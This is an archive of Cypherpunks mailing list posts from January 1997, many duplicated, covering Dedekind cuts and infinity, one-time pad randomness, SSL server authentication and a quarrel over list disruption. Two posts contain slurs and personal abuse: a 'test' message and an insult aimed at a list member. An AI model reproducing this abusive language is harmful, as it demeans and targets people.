Message-ID: <199701201626.IAA12830@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate allegedly said:
> 
[...]
> The number of cuts are 1-to-1 with the Reals, they are not the Reals.
> There is no way I can make a cut which is 3.1527, only 1-to-1 with the
> number(s). Important distinction.

They are 1-1 with the Reals, you can define all the operations on 
them that are defined for reals, for every representable real (like 
3.1527) there exists a DC.  You have some idea, perhaps that there 
are "real" reals, as opposed to the various constructs for defining 
them?  Perhaps you could define what a "real" real would be?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Elliott <paul.elliott@Hrnowl.LoneStar.ORG>
Date: Mon, 20 Jan 1997 01:46:25 -0800 (PST)
To: ichudov%algebra.com.cypherpunks@toad.com (cypherpunks mailing list)
Subject: Re: Numbers we cannot talk about
In-Reply-To: <199701200234.UAA06387@manifold.algebra.com>
Message-ID: <32e33114.flight@flight.hrnowl.lonestar.org>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


> Some of the applications of these theories are very relevant. For
> example, a theorem that proves that it is impossible to write a program
> that would determine if any other program would stop or loop forever, is
> very relevant and interesting.
> 
> 	- Igor.

Well, yes, but a scientist can only make a finite number of measurements.
A computer used for crypto can only have a finite number of states.

All this talk about transfinite numbers does not have any effect
on arithemetic truths.

What good is an axiom system which asserts (internally) that there
are uncountably many reals if that same axiom system has a countable
model?

- -- 
Paul Elliott                                  Telephone: 1-713-781-4543
Paul.Elliott@hrnowl.lonestar.org              Address:   3987 South Gessner #224
                                              Houston Texas 77063

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: cp850

iQCVAgUBMuMw8vBUQYbUhJh5AQFJYgP/a05CTNOG7zYJxcLBFU6JdzNItGUik7pi
fbor6p9l6FDgCwSSRIB59ApRIwKFscGLHVT/mAIi5Ofbnbn/wsm9p35ZNlY0YeDd
nPf171quOh7d91W6FXOUwhKSfehbAACbsapN5yaf2vtldpTb/LpdA+xvKTFgiRvg
4/8+yhyfp34=
=npw2
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Elliott <paul.elliott@hrnowl.lonestar.org>
Date: Mon, 20 Jan 1997 08:12:07 -0800 (PST)
To: cypherpunks mailing list <ichudov%algebra.com.cypherpunks@toad.com>
Subject: Re: Numbers we cannot talk about
Message-ID: <199701201612.IAA12423@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


> Some of the applications of these theories are very relevant. For
> example, a theorem that proves that it is impossible to write a program
> that would determine if any other program would stop or loop forever, is
> very relevant and interesting.
> 
> 	- Igor.

Well, yes, but a scientist can only make a finite number of measurements.
A computer used for crypto can only have a finite number of states.

All this talk about transfinite numbers does not have any effect
on arithemetic truths.

What good is an axiom system which asserts (internally) that there
are uncountably many reals if that same axiom system has a countable
model?

- -- 
Paul Elliott                                  Telephone: 1-713-781-4543
Paul.Elliott@hrnowl.lonestar.org              Address:   3987 South Gessner #224
                                              Houston Texas 77063

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Mon, 20 Jan 1997 09:04:25 -0800 (PST)
To: cypherpunks-outgoing-ksiuw@toad.com
Subject: Slow Cypherpunk Day
Message-ID: <199701201704.JAA04094@netcom21.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Is cypherpunks-outgoing-ksiuw@toad.com where articles should be sent
to bypass the censors?

   Testing 1 2 3...

   Cocksucker Armenian Mayonaise Gilmore Faggot Crypto

   Testing 1 2 3...

We now return you to your regular programming...

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 07:11:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dedikend Cut's and such (fwd)
Message-ID: <199701201518.JAA02060@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> > Did a little research, Dedekind Cut's and such use Integers to define a
> > SPECIFIC Real to a arbitrary BUT FIXED resolution. They do not define the
> > set of Reals.
> 
> They do.  The set of all numbers representable by a DC is precisely 
> the set of reals.

Then you are saying that using Dedekind Cut's it is possible to define the
ENTIRE set of Reals? I am assuming that entire includes all those Reals
which aren't representable by any algorithm and of which we can't even speak
(even though we are).

Another pretty nifty trick.


                                                        Jim Choate
                                                        CyberTects
                                                        ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 08:26:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dedikend Cut's and such (fwd)
Message-ID: <199701201626.IAA12828@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> > Did a little research, Dedekind Cut's and such use Integers to define a
> > SPECIFIC Real to a arbitrary BUT FIXED resolution. They do not define the
> > set of Reals.
> 
> They do.  The set of all numbers representable by a DC is precisely 
> the set of reals.

Then you are saying that using Dedekind Cut's it is possible to define the
ENTIRE set of Reals? I am assuming that entire includes all those Reals
which aren't representable by any algorithm and of which we can't even speak
(even though we are).

Another pretty nifty trick.


                                                        Jim Choate
                                                        CyberTects
                                                        ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 20 Jan 1997 10:25:49 -0800 (PST)
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Server Authentication
Message-ID: <199701201825.KAA15083@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz writes:
> 
> I recently came aware of an interesting problem in server authentication.
> I.e. How does a browser plugin validate the server it is working for.
> There are many reasons for a plugin to want to validate its web server
> including contractual relations, but the one that most appeals to me is
> that the plugin provides access to confidential data which is used in an
> application distributed between the client machine and the server.  Since
> the data is confidential, the plugin doesn't want to send it to just any
> server who can serve up a web page in the correct format, so it needs to
> authenticate the server.
> 
> Now the obvious way to validate the server would be through the
> certificates exchanged when the SSL session was set up.  (I am assuming a
> SSL session here because you shouldn't send confidential data over a
> non-encrypted link.)  However, I haven't found an API where the plugin can
> discover the certificate used by the server, so it appears you have to roll
> your own.

I think that you can get access to the server's certificate.
I know you can from the CGI interface.  Unfortunately it's the
raw ASN.1 encoded certificate, so you would have to ASN.1 decode it.
Bleah.

If the SSL handshake completes, then you can assume that the client
has verified and authenticated the server certificate.   The only problem
would be that the authentication might not be up to the plugin's standards-
i.e.  a connection to www.foo.com is somehow intercepted by
www.ripoff-plugins.com.  The server www.ripoff-plugins.com presents a cert
who's name is www.foo.com.  The browser correctly presents a pop-up dialog
noting the discrepancy, and the luser operating the client clicks
on the 'OK' button, allowing the SSL handshake to finish.  Oops.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 07:22:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201529.JAA02276@einstein>
MIME-Version: 1.0
Content-Type: text



> Infinity does not have a predecessor, so it makes no sense to
> count back from it a finite number of steps.

If infinity does not have predecessors (ie is immune to normal arithmetic
operations) then it is not possible for a sequence to approach it by adding
a finite amount to succesive terms in order to approach it. This means that
a sequence can not meaningfuly be asymptotic with infinity (meaning I have to
be able to draw a asymptote, at least in theory, in order to demonstrate the
limit).

> If one constructs the Ordinals, which are isomorphism classes of
> well-ordered sets, and the Cardinals, which are equivalence
> classes of equipotent sets, one will automatically end up with
> all sorts of transfinite numbers.

If infinity is not a number, how is it possible to have a definite number
(ie transfinite) which is larger than it?

My contention is that number theory as you present it is playing fast and
loose with the concept of infinity not being a number or visa versa.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 08:28:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201628.IAA12866@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Infinity does not have a predecessor, so it makes no sense to
> count back from it a finite number of steps.

If infinity does not have predecessors (ie is immune to normal arithmetic
operations) then it is not possible for a sequence to approach it by adding
a finite amount to succesive terms in order to approach it. This means that
a sequence can not meaningfuly be asymptotic with infinity (meaning I have to
be able to draw a asymptote, at least in theory, in order to demonstrate the
limit).

> If one constructs the Ordinals, which are isomorphism classes of
> well-ordered sets, and the Cardinals, which are equivalence
> classes of equipotent sets, one will automatically end up with
> all sorts of transfinite numbers.

If infinity is not a number, how is it possible to have a definite number
(ie transfinite) which is larger than it?

My contention is that number theory as you present it is playing fast and
loose with the concept of infinity not being a number or visa versa.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 07:29:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201536.JAA02298@einstein>
MIME-Version: 1.0
Content-Type: text



> > And I contend that ANY number which is Real can be expressed by the decimal
> > expansion above. Which clearly qualifies as a formal system.
> 
> To be a formal system of the type required, you would also have to 
> specify deterministic rules that could generate the "Ai" values.  The 
> key distinction is between "expressed by" and "generated by".

But we do have a formal system for generating those terms. Dedekind Cuts
used to enumerate the value of an arbitrary length compared to the unit
length.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 08:25:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201625.IAA12764@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> > And I contend that ANY number which is Real can be expressed by the decimal
> > expansion above. Which clearly qualifies as a formal system.
> 
> To be a formal system of the type required, you would also have to 
> specify deterministic rules that could generate the "Ai" values.  The 
> key distinction is between "expressed by" and "generated by".

But we do have a formal system for generating those terms. Dedekind Cuts
used to enumerate the value of an arbitrary length compared to the unit
length.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Mon, 20 Jan 1997 09:40:09 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Take it to sci.math
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970120173941Z-48898@INET-01-IMC.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	someone using WinSock Remailer

Will all those people who are talking about set theory and
the countability of various number systems take their discussion
to sci.math, please? 'Cuz

1) All that stuff is irrelevant to crypto, its science or politics.
..................................................


And as everyone on this list acutely knows, neither math, science, nor
politics has anything to do with crypto.   In fact, history bears out
the fact cryptologists have neither cause nor reason for what they do.
It is a useless by-product of excess mental activity for which only a
few can find application, while fewer yet have any concern for its
ramifications in a globally connected society of lightning
communication.

   ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Mon, 20 Jan 1997 10:10:52 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Take it to sci.math
Message-ID: <199701201810.KAA14866@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	someone using WinSock Remailer

Will all those people who are talking about set theory and
the countability of various number systems take their discussion
to sci.math, please? 'Cuz

1) All that stuff is irrelevant to crypto, its science or politics.
..................................................


And as everyone on this list acutely knows, neither math, science, nor
politics has anything to do with crypto.   In fact, history bears out
the fact cryptologists have neither cause nor reason for what they do.
It is a useless by-product of excess mental activity for which only a
few can find application, while fewer yet have any concern for its
ramifications in a globally connected society of lightning
communication.

   ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 07:33:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: infinity & set membership (fwd)
Message-ID: <199701201540.JAA02315@einstein>
MIME-Version: 1.0
Content-Type: text



> What could be the problem here?  One problem might be that an integer
> (not including infinity) divided by "infinity" should be 0.

This ratio has one of 3 outcomes in my system depending on the rate of
approach to infinity of the defining functions,

oo/oo = 0  if the denominator grows faster than the numerator

oo/oo = oo if the numerator grows faster than the denominator

oo/oo = 1  if the two functions grow at equal rates


                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 08:27:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: infinity & set membership (fwd)
Message-ID: <199701201627.IAA12858@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> What could be the problem here?  One problem might be that an integer
> (not including infinity) divided by "infinity" should be 0.

This ratio has one of 3 outcomes in my system depending on the rate of
approach to infinity of the defining functions,

oo/oo = 0  if the denominator grows faster than the numerator

oo/oo = oo if the numerator grows faster than the denominator

oo/oo = 1  if the two functions grow at equal rates


                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Mon, 20 Jan 1997 06:41:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: One time pads and randomness?
Message-ID: <3.0.32.19970120094053.00970880@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


>[Blurb on OTPs ...] I realize this has a limited amount of
>messages before it is used up. But would this be secure?
>Any suggestions, complaints, big gapping holes I missed? 

TMK, this is as close to a perfectly secure system as can be achieved.  *AS
LONG AS* the disks/discs are never compromised and never reused.

As an interesting sidenote, if you read Tom Clancy's "Sum of All Fears"
this is the type of system the CIA wants to implement even though the NSA
doesn't want to back them because they think their (compromised) sytem is
secure.  Don't we all wish...


_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"I thought your patience was infinte?"
'Since space and time are curved, the infinite sooner or later bends back
upon itself and ends up where it began and so have I.'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Mon, 20 Jan 1997 08:26:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: One time pads and randomness?
Message-ID: <199701201626.IAA12827@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>[Blurb on OTPs ...] I realize this has a limited amount of
>messages before it is used up. But would this be secure?
>Any suggestions, complaints, big gapping holes I missed? 

TMK, this is as close to a perfectly secure system as can be achieved.  *AS
LONG AS* the disks/discs are never compromised and never reused.

As an interesting sidenote, if you read Tom Clancy's "Sum of All Fears"
this is the type of system the CIA wants to implement even though the NSA
doesn't want to back them because they think their (compromised) sytem is
secure.  Don't we all wish...


_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"I thought your patience was infinte?"
'Since space and time are curved, the infinite sooner or later bends back
upon itself and ends up where it began and so have I.'






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Mon, 20 Jan 1997 06:45:57 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: GSM technology
In-Reply-To: <199701170931.JAA00539@server.test.net>
Message-ID: <Pine.SOL.3.93.970120094013.19002A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 17 Jan 1997, Adam Back wrote:

> 
> Steve Shear <azur@netcom.com> writes:
> > [very useful explanation of GSM TDMA, and the new HSCSD]
> 
> 64 kbit/s tied to ISDN is very nice technology. 

	Does anyone use ADSL lines?  or are they still very expensive?

> > ENCRYPTED GSM LINKS
> > If the GSM phone includes a data port, as some already do, just connect
> > your laptop, dial your ISP and 'push' the encrypted traffic over that link
> > (e.g., using TCP/IP and PGPfone).
[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Mon, 20 Jan 1997 08:25:49 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: GSM technology
Message-ID: <199701201625.IAA12747@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 17 Jan 1997, Adam Back wrote:

> 
> Steve Shear <azur@netcom.com> writes:
> > [very useful explanation of GSM TDMA, and the new HSCSD]
> 
> 64 kbit/s tied to ISDN is very nice technology. 

	Does anyone use ADSL lines?  or are they still very expensive?

> > ENCRYPTED GSM LINKS
> > If the GSM phone includes a data port, as some already do, just connect
> > your laptop, dial your ISP and 'push' the encrypted traffic over that link
> > (e.g., using TCP/IP and PGPfone).
[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Casey Iverson <iverson@usa.net>
Date: Mon, 20 Jan 1997 06:52:01 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT)
Message-ID: <3.0.16.19970120094321.429718ae@pop.netaddress.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimitri is a low life piece of Russan shit who is trying to distroy this
list because he has serious mental
problems or he is a tool of the NSA.

What part of his vicious personal and anomyous attacks against  members of
the list  'are not being read
correctly'?

What part of his calling everyone on this list that won't put up with his
deliberate abuse, "fagots",  'are not being read correctly'?

If you don't get it, you are a *really dumb fuck* or a KTOM tool.

At 09:42 PM 1/16/97 GMT, you wrote:
>
>It's occured to me recently that Dimitri's posts are not being read
>correctly, it is not the content which is the point, nor the
>superficial lack of crypto relevance.
>
>Dimitri is an intelligent guy, and has a high level of crypto
>expertise (he has a PhD on a cryptography topic).  It is my belief
>that his posts can only be understood in a "meta" sense -- he is
>engaged in a highly complex cryptographic experiment.  People who read
>and respond to his individual posts are the unwitting subjects in his
>experiments.  His posts and the responses to them are actually the
>data-set for a thorough cryptanalysis of mailing list threats.  His
>current topic under investigation is Denial of Service (DoS) attacks
>on mailing lists.
>
>Denial of service on mailing lists is a complex business, and requires
>expert human input to be done properly.
>
>Dimitri has systematically explored these types of posting behaviour:
>
>1. Posting only crypto relevant material.
>2. Interspersing crypto relevant posts with hand personalised flame bait.
>3. Interspersing crypto relevant posts with bot generated flame bait.
>4. Interspersing crypto relevant posts with news stories.
>5. Posting only non crypto relevant material.
>
>The alert reader will recall these phases of posting style (currently
>we are in sub experiment 5, the other phases have occured over a
>protracted period of intensive experimentation, and some newer readers
>may have missed earlier phases).
>
>There were other experiments which may or may not have been part of
>Dimitri's series of DoS experiments:
>
>6. Subscribing the list to itself (testing list resilience to recursion)
>
>7. Forging posts to carefully selected newsgroups with
>"cypherpunks@toad.com" as the sender (this indirectly adds user
>"cypherpunks@toad.com" to many direct marketing lists as direct
>marketers make use of email addresses scanned from newsgroups).
>
>8. The "UNSCRIVE" and other spelling variations of "unsubscribe" epidemic,
>and ensuing instructions and discussion
>
>9. Subscribing the list to other lists
>
>10. Bot generated flame bait posted anonymously (with ascii art)
>
>>From the post I am following up to the reader will observe an oblique
>reference to the transition from phase 4 of the experiments to the
>current phase, phase 5 (the reader will also note references to experimental
>results c and d described below):
>
>Dimitri Vulis <dlv@bwalk.dm.com> writes:
>> One memorable "censorship" incident occurred when the lying cocksucker
>> John Gilmore (spit) forcibly unsubscribed me from this list because he
>> didn't like the contents of my submissions - or did you forget already?
>> Look up Declan's disgraceful writeup on Netly News archives.
>> 
>> At that time most valuable contributors to this list (such as myself)
>> resolved not to contribute crypto-relevant content to a censored forum.
>  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>
>More widely read cypherpunks will know that Dimitri has performed
>similar experiments in other fora -- his systematic experiments in
>numerous USENET newsgroups resulted in the his receiving the
>prestigious KOTM ("Kook Of The Month") award.
>
>His main experimental results to date with the cypherpunks mailing
>list series of experiments have been:
>
>a) many cypherpunks publically announcing kill filing him
>
>b) numerous cypherpunks suggesting censoring him (a particularly
>interesting result considering the libertarian leanings of many on
>this list)
>
>c) the outstanding experimental result of being forcibly unsubscribed
>from the list, and of being barred from resubscribing by John Gilmore.
>(creator of alt.* USENET newsgroup hierarchy, and well know freespeech
>advocate)
>
>d) another interesting, incidental experimental result was provided by
>Declan McCullagh in his Netly News piece in prematurely, and entirely
>unwittingly, publishing some of Dimitri's expermiental data-set.
>
>e) the main experimental result: the list shortly moving to a
>moderated form, seemingly at the request of Sandy Sandfort, with
>agreement from John Gilmore.
>
>These experimental results are quite significant, when taken in the
>context of the anti-censorship, libertarian, pro-freespeech
>environment of the cypherpunks mailing list.  Dimitri should be
>congratulated on his outstanding work.
>
>I await with interest the last phases of Dimitri's experiment, when
>the cypherpunks list becomes a moderated forum.  My suggestions for
>interesting experiments during the moderated phase are:
>
>1. Testing the limits of Dale Thorn's anti-censorship sentiments (for
>those who don't read Dale, he is subscribed to "cypherpunks-unedited"
>in preparation for the moderation).
>
>2. Testing Sandy Sandforts rejection criteria.
>
>3. Testing Sandy Sandforts rejection rate for long crypto relevant
>posts interspersed with irrelevant flame bait.
>
>4. Testing Sandy Sandforts rejection rate for posts with flame bait .sigs
>
>I hope Dimitri's selfless efforts in furthering understanding of DoS
>attacks on mailing lists is properly acknowledged when he publishes
>his findings on completion of his experiments.  I also hope that
>Dimitri will document his recommendations for mailing list
>configuration and management in light of his experiments.
>
>Adam
>--
>print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
>)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Jan 1997 09:45:29 -0800 (PST)
To: AaronH4321@aol.com
Subject: Re: One time pads and randomness?
Message-ID: <3.0.1.32.19970119220225.00653a30@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Welcome!  You've asked a Frequently Asked Question, so you're obviously 
new here, but you're also thinking, so we'll cut you some slack :-)
A good book on cryptography that you should read is Bruce Schneier's
"Applied Cryptography", which talks about both math and practical issues.

At 09:51 AM 1/18/97 -0500, AaronH4321@aol.com wrote:
>I want to use a one time pad pased crypto system. I understand that the
>randomness of the pad genorator is key to security (other than lossing 
>the keys).  What I want to know is if I use a psuedo-RNG that ....

Pseudo-Randomness isn't Real Randomness, and OTPs need Real Randomness.
[Von Neumann said that anyone using mathematical methods to generate
random numbers "is, of course, in a state of sin."]
If you've got a Pseudo-RNG, your random number generator has some state
at step 1 that totally determines the output at steps 2...infinity.
This means that anybody who can determine the state of the PRNG at
step n can decode all messages for steps n+1, n+2, ...., and often
for steps 1....n-1 as well (depending on the particular PRNG.)
If you're got Real Randomness*, even if you know the value of the
pad at step n, it tells you entirely nothing about any other step.
	
To make it worse, the popular PRNGs turn out to be annoyingly easy
to crack, i.e. to determine the state from a small number of samples.

>Say I create a 1 million character one time pad that passes all of the
>randomness tests.  It is "truely random". 

Unfortunately, passing randomness tests doesn't tell you a pad is
"truly random" - it just eliminates the blatantly easy stuff.
For instance, x[n+1] = Hash( x[n] ) or X[n+1] = Encrypt( x[n] )
for a cryptographically strong hash function or encryption like 
MD5 or SHA or 3-DES will pass randomness tests just fine,
but it's still totally deterministic.  Still not a OTP.

However, say you create the pad from really random sources like
flipping lots of coins or counting gamma rays, and haul it to your
computers by well-armed guys with briefcases handcuffed to their wrists.

>"A" grabs a chunk of the one time pad  starting at a random point and 
>encrypts it....There "B" moves to the random point and begins decryption.

If the pad is _really_ random, and you're sure nobody's seen any of it,
then there's no difference between starting at a random point and
starting at the beginning, and the bookkeeping is much cleaner.

>During to process both computers mark that section of the OTP used so 
>that they don't retransmit with it.  I realize this has a limited amount 
>of messages before it is used up.  But would this be secure?

Yeah, you've got it (once you remember to use a really random pad
so there's entirely no relationship between bits n and n+1.)
And you've also hit one of the basic difficulties with using OTPs,
which is making sure you only use the once, and that this means
that sometimes you run out AND YOU STILL CAN'T USE THE PAD AGAIN.

	[*Some philosophers will argue that there isn't any
	Real Randomness, that there's just a deterministic
	State Of The Universe that's more complex than you happen to know,
	and some will rant about Quantum Mechanics, and others who
	actually have some clue about Quantum will tell you that it 
	doesn't get you off the hook; in any case, as long as the universe
	is messy enough it's be close enough for government work.]

The NSA was able to crack a bunch of Russian OTP transmissions back
in the 50s (the project name was Venona, and it was recently announced)
because the Russians did two major things wrong: They used pads more
than once when they were sloppy or out of new pads, and they didn't
use very good randomness - clerks banging "randomly" on typewriters
generate data with more correlation and less even distribution than
they'd expect, and in nearly-pre-computer days they weren't able

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Jan 1997 10:12:55 -0800 (PST)
To: AaronH4321@aol.com
Subject: Re: One time pads and randomness?
Message-ID: <199701201812.KAA14899@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Welcome!  You've asked a Frequently Asked Question, so you're obviously 
new here, but you're also thinking, so we'll cut you some slack :-)
A good book on cryptography that you should read is Bruce Schneier's
"Applied Cryptography", which talks about both math and practical issues.

At 09:51 AM 1/18/97 -0500, AaronH4321@aol.com wrote:
>I want to use a one time pad pased crypto system. I understand that the
>randomness of the pad genorator is key to security (other than lossing 
>the keys).  What I want to know is if I use a psuedo-RNG that ....

Pseudo-Randomness isn't Real Randomness, and OTPs need Real Randomness.
[Von Neumann said that anyone using mathematical methods to generate
random numbers "is, of course, in a state of sin."]
If you've got a Pseudo-RNG, your random number generator has some state
at step 1 that totally determines the output at steps 2...infinity.
This means that anybody who can determine the state of the PRNG at
step n can decode all messages for steps n+1, n+2, ...., and often
for steps 1....n-1 as well (depending on the particular PRNG.)
If you're got Real Randomness*, even if you know the value of the
pad at step n, it tells you entirely nothing about any other step.
	
To make it worse, the popular PRNGs turn out to be annoyingly easy
to crack, i.e. to determine the state from a small number of samples.

>Say I create a 1 million character one time pad that passes all of the
>randomness tests.  It is "truely random". 

Unfortunately, passing randomness tests doesn't tell you a pad is
"truly random" - it just eliminates the blatantly easy stuff.
For instance, x[n+1] = Hash( x[n] ) or X[n+1] = Encrypt( x[n] )
for a cryptographically strong hash function or encryption like 
MD5 or SHA or 3-DES will pass randomness tests just fine,
but it's still totally deterministic.  Still not a OTP.

However, say you create the pad from really random sources like
flipping lots of coins or counting gamma rays, and haul it to your
computers by well-armed guys with briefcases handcuffed to their wrists.

>"A" grabs a chunk of the one time pad  starting at a random point and 
>encrypts it....There "B" moves to the random point and begins decryption.

If the pad is _really_ random, and you're sure nobody's seen any of it,
then there's no difference between starting at a random point and
starting at the beginning, and the bookkeeping is much cleaner.

>During to process both computers mark that section of the OTP used so 
>that they don't retransmit with it.  I realize this has a limited amount 
>of messages before it is used up.  But would this be secure?

Yeah, you've got it (once you remember to use a really random pad
so there's entirely no relationship between bits n and n+1.)
And you've also hit one of the basic difficulties with using OTPs,
which is making sure you only use the once, and that this means
that sometimes you run out AND YOU STILL CAN'T USE THE PAD AGAIN.

	[*Some philosophers will argue that there isn't any
	Real Randomness, that there's just a deterministic
	State Of The Universe that's more complex than you happen to know,
	and some will rant about Quantum Mechanics, and others who
	actually have some clue about Quantum will tell you that it 
	doesn't get you off the hook; in any case, as long as the universe
	is messy enough it's be close enough for government work.]

The NSA was able to crack a bunch of Russian OTP transmissions back
in the 50s (the project name was Venona, and it was recently announced)
because the Russians did two major things wrong: They used pads more
than once when they were sloppy or out of new pads, and they didn't
use very good randomness - clerks banging "randomly" on typewriters
generate data with more correlation and less even distribution than
they'd expect, and in nearly-pre-computer days they weren't able

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Jan 1997 09:47:14 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: Keyword scanning/speech recognition
Message-ID: <3.0.1.32.19970119222010.00653b68@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:34 AM 1/19/97, pgut001@cs.auckland.ac.nz wrote:
>I was talking to someone recently about the feasibilty of 
>keyword-scanning phone conversations.  He thought it was probably still 
>beyond the reach of current technology, I thought it wasn't 

I'd guess it's in-between, and it depends a _lot_ on how error-tolerant
you are - do you want to catch them _all_, or just reduce the
set of tapes that you'll have humans listen to later, since you're
trolling for leads but don't mind missing the occasional one?
Speaker-dependent isolated-word recognition is pretty doable.  
Speaker-independent small-vocabulary isolated-word is also pretty good 
(though the AT&T calling-card bot does a better job when I read it numbers 
than when I rapidly tell it "calling card" early in its dialog.)  
